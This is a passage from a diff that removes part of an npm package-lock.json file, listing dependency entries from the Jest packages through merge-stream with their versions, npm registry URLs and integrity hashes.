-      "integrity": "sha512-uI/rszGSs73xCM0l+up7O7a40o90cnrk429LOiK3aeTvfC0HHmldbd81/B7Ix81KSFe1lwkbl7GnBGG4UfuDew==",
-      "requires": {
-        "@babel/types": "^7.0.0",
-        "@jest/types": "^24.9.0",
-        "chalk": "^2.0.1",
-        "expect": "^24.9.0",
-        "jest-diff": "^24.9.0",
-        "jest-get-type": "^24.9.0",
-        "jest-matcher-utils": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-resolve": "^24.9.0",
-        "mkdirp": "^0.5.1",
-        "natural-compare": "^1.4.0",
-        "pretty-format": "^24.9.0",
-        "semver": "^6.2.0"
-      }
-    },
-    "jest-util": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-24.9.0.tgz",
-      "integrity": "sha512-x+cZU8VRmOJxbA1K5oDBdxQmdq0OIdADarLxk0Mq+3XS4jgvhG/oKGWcIDCtPG0HgjxOYvF+ilPJQsAyXfbNOg==",
-      "requires": {
-        "@jest/console": "^24.9.0",
-        "@jest/fake-timers": "^24.9.0",
-        "@jest/source-map": "^24.9.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "callsites": "^3.0.0",
-        "chalk": "^2.0.1",
-        "graceful-fs": "^4.1.15",
-        "is-ci": "^2.0.0",
-        "mkdirp": "^0.5.1",
-        "slash": "^2.0.0",
-        "source-map": "^0.6.0"
-      },
-      "dependencies": {
-        "callsites": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
-          "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="
-        }
-      }
-    },
-    "jest-validate": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-24.9.0.tgz",
-      "integrity": "sha512-HPIt6C5ACwiqSiwi+OfSSHbK8sG7akG8eATl+IPKaeIjtPOeBUd/g3J7DghugzxrGjI93qS/+RPKe1H6PqvhRQ==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "camelcase": "^5.3.1",
-        "chalk": "^2.0.1",
-        "jest-get-type": "^24.9.0",
-        "leven": "^3.1.0",
-        "pretty-format": "^24.9.0"
-      }
-    },
-    "jest-watch-typeahead": {
-      "version": "0.4.2",
-      "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-0.4.2.tgz",
-      "integrity": "sha512-f7VpLebTdaXs81rg/oj4Vg/ObZy2QtGzAmGLNsqUS5G5KtSN68tFcIsbvNODfNyQxU78g7D8x77o3bgfBTR+2Q==",
-      "requires": {
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^2.4.1",
-        "jest-regex-util": "^24.9.0",
-        "jest-watcher": "^24.3.0",
-        "slash": "^3.0.0",
-        "string-length": "^3.1.0",
-        "strip-ansi": "^5.0.0"
-      },
-      "dependencies": {
-        "slash": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
-          "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
-        },
-        "string-length": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-length/-/string-length-3.1.0.tgz",
-          "integrity": "sha512-Ttp5YvkGm5v9Ijagtaz1BnN+k9ObpvS0eIBblPMp2YWL8FBmi9qblQ9fexc2k/CXFgrTIteU3jAw3payCnwSTA==",
-          "requires": {
-            "astral-regex": "^1.0.0",
-            "strip-ansi": "^5.2.0"
-          }
-        }
-      }
-    },
-    "jest-watcher": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-24.9.0.tgz",
-      "integrity": "sha512-+/fLOfKPXXYJDYlks62/4R4GoT+GU1tYZed99JSCOsmzkkF7727RqKrjNAxtfO4YpGv11wybgRvCjR73lK2GZw==",
-      "requires": {
-        "@jest/test-result": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "@types/yargs": "^13.0.0",
-        "ansi-escapes": "^3.0.0",
-        "chalk": "^2.0.1",
-        "jest-util": "^24.9.0",
-        "string-length": "^2.0.0"
-      },
-      "dependencies": {
-        "ansi-escapes": {
-          "version": "3.2.0",
-          "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
-          "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="
-        }
-      }
-    },
-    "jest-worker": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-24.9.0.tgz",
-      "integrity": "sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw==",
-      "requires": {
-        "merge-stream": "^2.0.0",
-        "supports-color": "^6.1.0"
-      },
-      "dependencies": {
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
-          "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "js-tokens": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
-      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
-    },
-    "js-yaml": {
-      "version": "3.13.1",
-      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
-      "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
-      "requires": {
-        "argparse": "^1.0.7",
-        "esprima": "^4.0.0"
-      }
-    },
-    "jsbn": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
-      "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM="
-    },
-    "jsdom": {
-      "version": "11.12.0",
-      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-11.12.0.tgz",
-      "integrity": "sha512-y8Px43oyiBM13Zc1z780FrfNLJCXTL40EWlty/LXUtcjykRBNgLlCjWXpfSPBl2iv+N7koQN+dvqszHZgT/Fjw==",
-      "requires": {
-        "abab": "^2.0.0",
-        "acorn": "^5.5.3",
-        "acorn-globals": "^4.1.0",
-        "array-equal": "^1.0.0",
-        "cssom": ">= 0.3.2 < 0.4.0",
-        "cssstyle": "^1.0.0",
-        "data-urls": "^1.0.0",
-        "domexception": "^1.0.1",
-        "escodegen": "^1.9.1",
-        "html-encoding-sniffer": "^1.0.2",
-        "left-pad": "^1.3.0",
-        "nwsapi": "^2.0.7",
-        "parse5": "4.0.0",
-        "pn": "^1.1.0",
-        "request": "^2.87.0",
-        "request-promise-native": "^1.0.5",
-        "sax": "^1.2.4",
-        "symbol-tree": "^3.2.2",
-        "tough-cookie": "^2.3.4",
-        "w3c-hr-time": "^1.0.1",
-        "webidl-conversions": "^4.0.2",
-        "whatwg-encoding": "^1.0.3",
-        "whatwg-mimetype": "^2.1.0",
-        "whatwg-url": "^6.4.1",
-        "ws": "^5.2.0",
-        "xml-name-validator": "^3.0.0"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "5.7.4",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz",
-          "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg=="
-        }
-      }
-    },
-    "jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA=="
-    },
-    "json-parse-better-errors": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
-      "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw=="
-    },
-    "json-schema": {
-      "version": "0.2.3",
-      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
-      "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
-    },
-    "json-schema-traverse": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
-    },
-    "json-stable-stringify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz",
-      "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=",
-      "requires": {
-        "jsonify": "~0.0.0"
-      }
-    },
-    "json-stable-stringify-without-jsonify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
-      "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE="
-    },
-    "json-stringify-safe": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
-      "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
-    },
-    "json3": {
-      "version": "3.3.3",
-      "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.3.tgz",
-      "integrity": "sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA=="
-    },
-    "json5": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz",
-      "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "jsonfile": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
-      "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
-      "requires": {
-        "graceful-fs": "^4.1.6"
-      }
-    },
-    "jsonify": {
-      "version": "0.0.0",
-      "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz",
-      "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM="
-    },
-    "jsprim": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
-      "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
-      "requires": {
-        "assert-plus": "1.0.0",
-        "extsprintf": "1.3.0",
-        "json-schema": "0.2.3",
-        "verror": "1.10.0"
-      }
-    },
-    "jsx-ast-utils": {
-      "version": "2.2.3",
-      "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz",
-      "integrity": "sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==",
-      "requires": {
-        "array-includes": "^3.0.3",
-        "object.assign": "^4.1.0"
-      }
-    },
-    "killable": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz",
-      "integrity": "sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg=="
-    },
-    "kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-      "requires": {
-        "is-buffer": "^1.1.5"
-      }
-    },
-    "kleur": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
-      "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w=="
-    },
-    "last-call-webpack-plugin": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz",
-      "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==",
-      "requires": {
-        "lodash": "^4.17.5",
-        "webpack-sources": "^1.1.0"
-      }
-    },
-    "lazy-cache": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz",
-      "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4="
-    },
-    "lcid": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
-      "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
-      "requires": {
-        "invert-kv": "^2.0.0"
-      }
-    },
-    "left-pad": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
-      "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA=="
-    },
-    "leven": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
-      "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A=="
-    },
-    "levenary": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz",
-      "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==",
-      "requires": {
-        "leven": "^3.1.0"
-      }
-    },
-    "levn": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
-      "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
-      "requires": {
-        "prelude-ls": "~1.1.2",
-        "type-check": "~0.3.2"
-      }
-    },
-    "lines-and-columns": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz",
-      "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA="
-    },
-    "load-json-file": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz",
-      "integrity": "sha1-L19Fq5HjMhYjT9U62rZo607AmTs=",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "parse-json": "^4.0.0",
-        "pify": "^3.0.0",
-        "strip-bom": "^3.0.0"
-      }
-    },
-    "loader-fs-cache": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.3.tgz",
-      "integrity": "sha512-ldcgZpjNJj71n+2Mf6yetz+c9bM4xpKtNds4LbqXzU/PTdeAX0g3ytnU1AJMEcTk2Lex4Smpe3Q/eCTsvUBxbA==",
-      "requires": {
-        "find-cache-dir": "^0.1.1",
-        "mkdirp": "^0.5.1"
-      },
-      "dependencies": {
-        "find-cache-dir": {
-          "version": "0.1.1",
-          "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz",
-          "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=",
-          "requires": {
-            "commondir": "^1.0.1",
-            "mkdirp": "^0.5.1",
-            "pkg-dir": "^1.0.0"
-          }
-        },
-        "find-up": {
-          "version": "1.1.2",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
-          "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=",
-          "requires": {
-            "path-exists": "^2.0.0",
-            "pinkie-promise": "^2.0.0"
-          }
-        },
-        "path-exists": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
-          "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=",
-          "requires": {
-            "pinkie-promise": "^2.0.0"
-          }
-        },
-        "pkg-dir": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz",
-          "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=",
-          "requires": {
-            "find-up": "^1.0.0"
-          }
-        }
-      }
-    },
-    "loader-runner": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz",
-      "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw=="
-    },
-    "loader-utils": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
-      "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
-      "requires": {
-        "big.js": "^5.2.2",
-        "emojis-list": "^3.0.0",
-        "json5": "^1.0.1"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
-          "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        }
-      }
-    },
-    "locate-path": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz",
-      "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
-      "requires": {
-        "p-locate": "^2.0.0",
-        "path-exists": "^3.0.0"
-      }
-    },
-    "lodash": {
-      "version": "4.17.15",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
-      "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
-    },
-    "lodash._reinterpolate": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz",
-      "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0="
-    },
-    "lodash.memoize": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
-      "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4="
-    },
-    "lodash.sortby": {
-      "version": "4.7.0",
-      "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
-      "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg="
-    },
-    "lodash.template": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz",
-      "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==",
-      "requires": {
-        "lodash._reinterpolate": "^3.0.0",
-        "lodash.templatesettings": "^4.0.0"
-      }
-    },
-    "lodash.templatesettings": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz",
-      "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==",
-      "requires": {
-        "lodash._reinterpolate": "^3.0.0"
-      }
-    },
-    "lodash.uniq": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
-      "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M="
-    },
-    "loglevel": {
-      "version": "1.6.8",
-      "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.8.tgz",
-      "integrity": "sha512-bsU7+gc9AJ2SqpzxwU3+1fedl8zAntbtC5XYlt3s2j1hJcn2PsXSmgN8TaLG/J1/2mod4+cE/3vNL70/c1RNCA=="
-    },
-    "loose-envify": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
-      "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
-      "requires": {
-        "js-tokens": "^3.0.0 || ^4.0.0"
-      }
-    },
-    "lower-case": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.1.tgz",
-      "integrity": "sha512-LiWgfDLLb1dwbFQZsSglpRj+1ctGnayXz3Uv0/WO8n558JycT5fg6zkNcnW0G68Nn0aEldTFeEfmjCfmqry/rQ==",
-      "requires": {
-        "tslib": "^1.10.0"
-      }
-    },
-    "lru-cache": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
-      "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
-      "requires": {
-        "yallist": "^3.0.2"
-      },
-      "dependencies": {
-        "yallist": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
-          "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
-        }
-      }
-    },
-    "make-dir": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
-      "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
-      "requires": {
-        "pify": "^4.0.1",
-        "semver": "^5.6.0"
-      },
-      "dependencies": {
-        "pify": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
-          "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "makeerror": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.11.tgz",
-      "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=",
-      "requires": {
-        "tmpl": "1.0.x"
-      }
-    },
-    "mamacro": {
-      "version": "0.0.3",
-      "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz",
-      "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA=="
-    },
-    "map-age-cleaner": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz",
-      "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==",
-      "requires": {
-        "p-defer": "^1.0.0"
-      }
-    },
-    "map-cache": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
-      "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8="
-    },
-    "map-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
-      "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
-      "requires": {
-        "object-visit": "^1.0.0"
-      }
-    },
-    "md5.js": {
-      "version": "1.3.5",
-      "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
-      "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
-      "requires": {
-        "hash-base": "^3.0.0",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      }
-    },
-    "mdn-data": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.4.tgz",
-      "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA=="
-    },
-    "media-typer": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
-      "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
-    },
-    "mem": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz",
-      "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==",
-      "requires": {
-        "map-age-cleaner": "^0.1.1",
-        "mimic-fn": "^2.0.0",
-        "p-is-promise": "^2.0.0"
-      }
-    },
-    "memory-fs": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz",
-      "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=",
-      "requires": {
-        "errno": "^0.1.3",
-        "readable-stream": "^2.0.1"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "merge-deep": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/merge-deep/-/merge-deep-3.0.2.tgz",
-      "integrity": "sha512-T7qC8kg4Zoti1cFd8Cr0M+qaZfOwjlPDEdZIIPPB2JZctjaPM4fX+i7HOId69tAti2fvO6X5ldfYUONDODsrkA==",
-      "requires": {
-        "arr-union": "^3.1.0",
-        "clone-deep": "^0.2.4",
-        "kind-of": "^3.0.2"
-      }
-    },
-    "merge-descriptors": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
-      "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
-    },
-    "merge-stream": {
-      "version": "2.0.0",
